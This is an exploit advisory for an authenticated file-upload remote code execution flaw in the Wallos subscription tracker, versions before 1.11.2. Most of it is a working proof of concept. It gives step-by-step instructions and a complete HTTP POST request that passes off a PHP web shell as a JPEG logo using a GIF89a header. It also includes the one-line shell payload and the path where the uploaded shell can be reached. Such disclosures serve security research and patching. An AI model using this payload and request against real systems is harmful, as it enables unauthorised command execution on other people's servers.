Headline
Wallos Shell Upload
Wallos versions prior to 1.11.2 suffer from a remote shell upload vulnerability.
Exploit Title: Wallos - File Upload RCE (Authenticated)
Date: 2024-03-04
Exploit Author: [email protected]
Vendor Homepage: https://github.com/ellite/Wallos
Software Link: https://github.com/ellite/Wallos
Version: < 1.11.2
Tested on: Debian 12
Wallos allows you to upload an image/logo when you create a new subscription.
This can be bypassed to upload a malicious .php file.
POC
- Log into the application.
- Go to “New Subscription”
- Upload Logo and choose your webshell .php
- Make the Request changing Content-Type to image/jpeg and adding "GIF89a", it should be like:
— SNIP -----------------
POST /endpoints/subscription/add.php HTTP/1.1
Host: 192.168.1.44
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.44/
Content-Type: multipart/form-data; boundary=---------------------------29251442139477260933920738324
Origin: http://192.168.1.44
Content-Length: 7220
Connection: close
Cookie: theme=light; language=en; PHPSESSID=6a3e5adc1b74b0f1870bbfceb16cda4b; theme=light
-----------------------------29251442139477260933920738324
Content-Disposition: form-data; name="name"
test
-----------------------------29251442139477260933920738324
Content-Disposition: form-data; name="logo"; filename="revshell.php"
Content-Type: image/jpeg
GIF89a;
<?php
system($_GET[‘cmd’]);
?>
-----------------------------29251442139477260933920738324
Content-Disposition: form-data; name="logo-url"
----- SNIP -----
- You will get the response that your file was uploaded ok:
{"status":"Success","message":"Subscription updated successfully"}
- Your file will be located in:
http://VICTIM_IP/images/uploads/logos/XXXXXX-yourshell.php